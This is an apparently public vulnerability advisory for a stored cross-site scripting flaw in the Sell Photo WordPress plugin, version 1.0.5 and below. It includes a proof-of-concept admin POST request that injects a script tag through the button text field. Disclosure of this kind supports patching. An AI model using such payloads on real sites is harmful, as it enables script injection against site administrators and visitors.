WordPress Sell Photo 1.0.5 Cross Site Scripting

Risk: Low
Local: No
Remote: Yes

# Exploit Title: Sell Photo Wordpress Plugin v1.0.5 - Persistent Cross-Site Scripting # Date: 2020-08-14 # Vendor Homepage: https://noorsplugin.com/ # Vendor Changelog: https://wordpress.org/plugins/sell-photo/#developers # Exploit Author: Melbin K Mathew (@melbinkm) # Author Advisory: https://melbin.in/2020/08/14/stored-xss-vulnerability-in-wordpress-sell-photo-plugin/ # Author Homepage: https://melbin.in # Version: 1.0.5 and below 1. Description The Sell Photo by naa986 is a WordPress Plugin used to sell images from WordPress Blogs with payment through PayPal. The 'Button Text/Image' field in Settings page of Sell Photos Plugin was found to be vulnerable to stored XSS, as they did not sanitize user given input properly. It is triggered when a users loads a page where the plugin is used, and when an admin opens settings page of the plugin. All WordPress websites using Sell Photo by naa986 version 1.0.5 and below are affected. 2. Proof of Concept POST /w/wp-admin/options-general.php?page=sell-photo-settings HTTP/1.1 Host: Content-Length: 339 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml; wp-settings-time-1=1597401311 Connection: close _wpnonce=14d5bbccf9&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dsell-photo-settings&enable_testmode=1&paypal_email=jajaja%40zopmail.com&currency_code=USD&price_amount=5.00&button_anchor=Buy+Now+%22%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E&return_url=http%3A%2F%2F95.217.19.38%2Fw&sell_photo_update_settings=Save+Changes

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